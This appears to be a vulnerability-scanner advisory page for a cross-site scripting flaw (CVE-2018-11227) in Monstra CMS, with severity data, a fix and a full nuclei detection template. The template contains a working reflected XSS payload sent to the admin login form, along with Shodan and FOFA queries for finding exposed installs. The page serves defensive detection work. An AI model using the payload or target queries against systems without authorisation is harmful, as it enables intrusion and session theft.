Monstra CMS <=3.0.4 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4.7%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

Monstra CMS 3.0.4 and earlier contains a cross-site scripting vulnerability via index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Upgrade Monstra CMS to a version higher than 3.0.4 or apply the official patch provided by the vendor.

How to confirm it

Send: POST /admin/index.php?id=pages
Positive when: contains "><svg/onload=alert(document.domain)>" and "Monstra" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2018-11227 -u <target>

The full check

id: CVE-2018-11227

info:
  name: Monstra CMS <=3.0.4 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Monstra CMS 3.0.4 and earlier contains a cross-site scripting vulnerability via index.php.  An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade Monstra CMS to a version higher than 3.0.4 or apply the official patch provided by the vendor.
  reference:
    - https://github.com/monstra-cms/monstra/issues/438
    - https://www.exploit-db.com/exploits/44646
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11227
    - https://github.com/monstra-cms/monstra/issues
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-11227
    cwe-id: CWE-79
    epss-score: 0.04733
    epss-percentile: 0.91927
    cpe: cpe:2.3:a:monstra:monstra_cms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: monstra
    product: monstra_cms
    shodan-query: http.favicon.hash:419828698
    fofa-query: icon_hash=419828698
  tags: cve,cve2018,xss,mostra,mostracms,cms,edb,monstra,vuln

http:
  - raw:
      - |
        POST /admin/index.php?id=pages HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login="><svg/onload=alert(document.domain)>&password=xxxxxx&login_submit=Log+In

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><svg/onload=alert(document.domain)>"
          - "Monstra"
        case-insensitive: true
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from